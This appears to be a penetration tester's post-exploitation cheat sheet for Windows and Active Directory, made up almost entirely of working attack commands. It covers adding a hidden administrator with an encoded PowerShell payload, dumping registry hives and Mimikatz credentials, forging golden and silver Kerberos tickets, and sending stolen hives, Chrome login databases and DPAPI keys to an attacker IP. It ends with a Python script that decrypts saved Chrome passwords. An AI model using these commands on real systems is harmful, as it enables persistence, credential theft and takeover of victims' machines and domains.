Payload/Loot/Persistence
RDP User
New admin hackerbeepboop Blabliblou_1
cat << 'EOF' | iconv -f UTF8 -t UTF16LE | base64 -w 0 | tee /tmp/payload.ps1
net user hackerbeepboop Blabliblou_1 /ADD
net localgroup Administrators hackerbeepboop /ADD
net localgroup "Remote Desktop Users" hackerbeepboop /ADD
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
EOF
# bgBlAHQAIAB1AHMAZQByACAAaABhAGMAawBlAHIAYgBlAGUAcABiAG8AbwBwACAAQgBsAGEAYgBsAGkAYgBsAG8AdQBfADEAIAAvAEEARABEAAoAbgBlAHQAIABsAG8AYwBhAGwAZwByAG8AdQBwACAAQQBkAG0AaQBuAGkAcwB0AHIAYQB0AG8AcgBzACAAaABhAGMAawBlAHIAYgBlAGUAcABiAG8AbwBwACAALwBBAEQARAAKAG4AZQB0ACAAbABvAGMAYQBsAGcAcgBvAHUAcAAgACIAUgBlAG0AbwB0AGUAIABEAGUAcwBrAHQAbwBwACAAVQBzAGUAcgBzACIAIABoAGEAYwBrAGUAcgBiAGUAZQBwAGIAbwBvAHAAIAAvAEEARABEAAoAcgBlAGcAIABhAGQAZAAgACIASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAEMAbwBuAHQAcgBvAGwAXABUAGUAcgBtAGkAbgBhAGwAIABTAGUAcgB2AGUAcgAiACAALwB2ACAAZgBEAGUAbgB5AFQAUwBDAG8AbgBuAGUAYwB0AGkAbwBuAHMAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAKAHIAZQBnACAAYQBkAGQAIAAiAEgASwBFAFkAXwBMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwAVABlAHIAbQBpAG4AYQBsACAAUwBlAHIAdgBlAHIAIgAgAC8AdgAgAGYAQQBsAGwAbwB3AFQAbwBHAGUAdABIAGUAbABwACAALwB0ACAAUgBFAEcAXwBEAFcATwBSAEQAIAAvAGQAIAAxACAALwBmACAACgBuAGUAdABzAGgAIABmAGkAcgBlAHcAYQBsAGwAIABhAGQAZAAgAHAAbwByAHQAbwBwAGUAbgBpAG4AZwAgAFQAQwBQACAAMwAzADgAOQAgACIAUgBlAG0AbwB0AGUAIABEAGUAcwBrAHQAbwBwACIACgA=
Start-Process -NoNewWindow -FilePath "powershell.exe" -ArgumentList "-E", "BlAHQAIAB1AHMAZQByACAAaABhAGMAawBlAHIAYgBlAGUAcABiAG8AbwBwACAAQgBsAGEAYgBsAGkAYgBsAG8AdQBfADEAIAAvAEEARABEAAoAbgBlAHQAIABsAG8AYwBhAGwAZwByAG8AdQBwACAAQQBkAG0AaQBuAGkAcwB0AHIAYQB0AG8AcgBzACAAaABhAGMAawBlAHIAYgBlAGUAcABiAG8AbwBwACAALwBBAEQARAAKAG4AZQB0ACAAbABvAGMAYQBsAGcAcgBvAHUAcAAgACIAUgBlAG0AbwB0AGUAIABEAGUAcwBrAHQAbwBwACAAVQBzAGUAcgBzACIAIABoAGEAYwBrAGUAcgBiAGUAZQBwAGIAbwBvAHAAIAAvAEEARABEAAoAcgBlAGcAIABhAGQAZAAgACIASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAEMAbwBuAHQAcgBvAGwAXABUAGUAcgBtAGkAbgBhAGwAIABTAGUAcgB2AGUAcgAiACAALwB2ACAAZgBEAGUAbgB5AFQAUwBDAG8AbgBuAGUAYwB0AGkAbwBuAHMAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAKAHIAZQBnACAAYQBkAGQAIAAiAEgASwBFAFkAXwBMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwAVABlAHIAbQBpAG4AYQBsACAAUwBlAHIAdgBlAHIAIgAgAC8AdgAgAGYAQQBsAGwAbwB3AFQAbwBHAGUAdABIAGUAbABwACAALwB0ACAAUgBFAEcAXwBEAFcATwBSAEQAIAAvAGQAIAAxACAALwBmACAACgBuAGUAdABzAGgAIABmAGkAcgBlAHcAYQBsAGwAIABhAGQAZAAgAHAAbwByAHQAbwBwAGUAbgBpAG4AZwAgAFQAQwBQACAAMwAzADgAOQAgACIAUgBlAG0AbwB0AGUAIABEAGUAcwBrAHQAbwBwACIACgA="
Hives
Dump
dump SAM SYSTEM SECURITY
$d="$env:TEMP\";%{"sam";"system";"security"}|%{reg save hklm\$_ $d$_}
Send with postdl
# postdl -p 7778
(New-Object System.Net.WebClient).UploadFile('http://10.10.14.4:7778/',"$env:TEMP\\sam")
(New-Object System.Net.WebClient).UploadFile('http://10.10.14.4:7778/',"$env:TEMP\\system")
(New-Object System.Net.WebClient).UploadFile('http://10.10.14.4:7778/',"$env:TEMP\\security")
You can also use a temporary SMB share (.. you need an user if passwordless access is disable, but you can change this setting)
mkdir "$env:TEMP\S";New-SmbShare -Name S -Path "$env:TEMP\S" -Temporary -FullAccess ([System.Security.Principal.SecurityIdentifier]::new('S-1-1-0')).Translate([System.Security.Principal.NTAccount]).Value
$d="$env:TEMP\S\";%{"sam";"system";"security"}|%{reg save hklm\$_ $d$_}
# Get-SmbShare
# Remove-SmbShare -Name S -Force
Read
Read sam,system,security files
secretsdump.py -sam sam -system system -security security local -history
Mimikatz
privilege::debug # Enable debug privilege
sekurlsa::logonpasswords # Dump credentials of logged-in users
sekurlsa::credman # Retrieve saved credentials in Credential Manager
lsadump::sam # Dump hashes from the SAM database
lsadump::lsa /inject # Extract secrets from LSA
lsadump::secrets # Extract stored secrets (e.g., service account passwords)
token::whoami # Check the current token privileges
token::elevate # Attempt to elevate the token privileges
token::revert # Revert to original token
kerberos::list # List all Kerberos tickets
kerberos::list /export # Export tickets to .kirbi files
Generic
LSASS
nxc smb 172.16.1.1 -u ADMINISTRATOR -p 'PASS' -d 'A.LOCAL' -M lsassy
lsassy 172.16.1.1 -u ADMINISTRATOR -H c61f13b1a41b2176714713836b712ea6
VSS Shadow Copy
Volume Snapshot Service // Shadow Copy
List VSS Backup
vssadmin list shadows
Then map identified “Shadow Copy Volume”
cmd /c mklink /d C:\VSS \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
DC
donpapi can dump DPAPI secrets from domain machines and other secrets
You need valid DNS entries for targeted machines
donpapi collect -u 'ADMINISTRATOR' --domain A.LOCAL --dc-ip 172.16.1.1 --fetch-pvk -t ALL -H :c62f43b6112b2672114711126b722ea6
# donpapi gui
nxc smb 172.16.3.5 -u ADMINISTRATOR -p 'PASS' -d 'A.LOCAL' -M ntdsutil
Golden/Silver Ticket
Silver Ticket : Use service account NT hash to generate TGT
Golden Ticket : Use krbtgt account NT hash to generate TGT
Golden Example
You have the krbtgt account NT hash ‘1693c6cefa9afc7af11ef34d1c788f47’
# Retrieve Domain SID (on windows just type 'whoami /user' and remove the last part from SID ex:'-1234' )
lookupsid.py 'domain.com/user:password@192.168.211.72' 0
# Creating Golden Ticket (TGT) for domain.com/Administrator user, if not specified the targeted SPN will be "krbtgt/DOMAIN.COM@DOMAIN.COM"
lookupsid.py 'domain.com/user:password@192.168.211.72' 0 # Get Domain SID
ticketer.py -nthash 1693c6cefa9afc7af11ef34d1c788f47 -domain-sid S-1-5-21-1987370270-658905305-1781884369 -domain domain.com Administrator # (OFFLINE)
# Setting ticket location variable
export KRB5CCNAME="$(pwd)/Administrator.ccache"
klist # apt-get install krb5-user
# You need to add domain.com and DC1.domain.com in /etc/hosts (if DNS don't resolve), and you can't use IP
smbexec.py -k "DC1.domain.com"
psexec.py -k "DC1.domain.com"
wmiexec.py -k "DC1.domain.com"
cme smb DC1.domain.com --use-kcache -X whoami
Silver Example
You have the web server service account NT hash ‘4d28cf5251d39971419580a51484ca09’
# Retrieve Domain SID (on windows just type 'whoami /user' and remove the last part from SID ex:'-1234' )
lookupsid.py 'domain.com/user:password@192.168.211.72' 0
# Creating Silver Ticket (TGT) for domain.com/Administrator user on web04 HTTP ressource. the SPN will be "HTTP/web04@domain.com" (ensure the 'HTTP' class SPN is uppercase if using ticket with curl)
ticketer.py -nthash 4d28cf5251d39971419580a51484ca09 -domain-sid S-1-5-21-1987370270-658905905-1781884369 -domain domain.com Administrator -spn HTTP/web04
# Setting ticket location variable
export KRB5CCNAME="$(pwd)/Administrator.ccache"
klist # apt-get install krb5-user
# Using ticket with cURL, you need to set corresponding entries in /etc/hosts (if DNS don't resolve)
export NSPR_LOG_MODULES=negotiateauth:5
export NSPR_LOG_FILE=/dev/stdout
export KRB5_TRACE=/dev/stdout
curl -v "http://web04.domain.com" --negotiate -u ':'
Chrome/Chromium
Recent (80+ 2020) Chrome and Chromium use DPAPI to encrypt passwords
The “easy way” to show saved passwords is to RDP as targeted user to diplay the password manager.
Search for “Login Data” file
powershell -c "ls '/Users/*/AppData/Local/*/*/*/*/Login Data'"
SharpDPAPI project contain SharpChrome that can dump secrets for you.
Manually
If you want to do it the hard way for some reason,
You need to export “Login Data”, “Local State” and DPAPI keys
# postdl -p 8888
powershell -c "$path='/Users/*/AppData/Local/*/*/User Data/*/Login Data';$url='http://10.10.14.2:8888/';$wc=New-Object System.Net.WebClient;Get-ChildItem $path -Recurse -ErrorAction SilentlyContinue -Force |%{$wc.UploadFile($url+$($_|Resolve-Path -Relative|Split-Path),$_.Fullname)}"
powershell -c "$path='/Users/*/AppData/Local/*/*/User Data/Local State';$url='http://10.10.14.2:8888/';$wc=New-Object System.Net.WebClient;Get-ChildItem $path -Recurse -ErrorAction SilentlyContinue -Force |%{$wc.UploadFile($url+$($_|Resolve-Path -Relative|Split-Path),$_.Fullname)}"
powershell -c "$path='/users/*/appdata/roaming/microsoft/protect/*/*';$url='http://10.10.14.2:8888/';$wc=New-Object System.Net.WebClient;Get-ChildItem $path -Recurse -ErrorAction SilentlyContinue -Force |%{$wc.UploadFile($url+$($_|Resolve-Path -Relative|Split-Path),$_.Fullname)}"
The first step is to extract the local state encrypted key
STATE='/tmp/10.10.1.1/Users/user/AppData/Local/Google/Chrome/User+Data/Local+State'
cat $STATE | jq -r '.os_crypt.encrypted_key' | base64 -d | tail -c +6 > /tmp/encrypted_master_key.bin
We extract master keys from masterkey files (or just the right one from targeted user)
(If you don’t have the password and you are into a domain you can ask the DC to decrypt the key for you)
KEYFILE='/tmp/10.10.1.1/users/user/appdata/roaming/microsoft/protect/S-1-5-21-1416115593-394311334-2645511166-1114/ea89114b-3715-4112-b36c-dfb811a6a264'
SID='S-1-5-21-1416115593-394311334-2645511166-1114'
dpapi.py masterkey -file $KEYFILE -sid $SID -password 'userpassword'
[...]
Decrypted key: 0x22f0c23a64c0411e95219ed14e1d80811c69bd4a764b21de9fe5304d9873cb51176a8a79c53b18d26f8cfe0e03ae6990d11d5a02e9039d1510116c1a5550a311
We can now decrypt the local state Key
It return “ERROR: Padding is incorrect.” when using the wrong key
$ dpapi.py unprotect -file /tmp/encrypted_master_key.bin -key 0x22f0c23a64c0411e95219ed14e1d80811c69bd4a764b21de9fe5304d9873cb51176a8a79c53b18d26f8cfe0e03ae6990d11d5a02e9039d1510116c1a5550a311
Successfully decrypted data
0000 7F 06 D8 48 48 16 70 01 D6 D3 90 BC DA B7 9F 95 ...HH.p.........
0010 EA 32 48 B8 F6 90 94 E9 20 48 C5 7D 77 AB 05 2D .2H..... H.}w..-
import sqlite3
import base64
import json
from Crypto.Cipher import AES
from os.path import expanduser
MASTER_KEY = bytes.fromhex("7F 06 D8 48 48 16 70 01 D6 D3 90 BC DA B7 9F 95EA 32 48 B8 F6 90 94 E9 20 48 C5 7D 77 AB 05 2D")
def decrypt_password(encrypted_value):
try:
if encrypted_value[:3] != b'v10':
return "Unsupported format"
iv = encrypted_value[3:15]
payload = encrypted_value[15:-16]
tag = encrypted_value[-16:]
cipher = AES.new(MASTER_KEY, AES.MODE_GCM, nonce=iv)
decrypted = cipher.decrypt_and_verify(payload, tag)
return decrypted.decode()
except Exception as e:
return f"[Error] {e}"
conn = sqlite3.connect("/tmp/10.10.1.1/Users/user/AppData/Local/Google/Chrome/User+Data/Default/Login+Data")
cursor = conn.cursor()
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
for row in cursor.fetchall():
url, username, encrypted_password = row
decrypted = decrypt_password(encrypted_password)
print(f"URL: {url}\nUsername: {username}\nPassword: {decrypted}\n")
# pip3 install pycryptodome --upgrade
python3 decrypt.py
URL: http://a.com/
Username: user
Password: Password!11
Firefox
powershell -c "ls '/Users/*/AppData/Roaming/*/*/Profiles/*/logins.json'"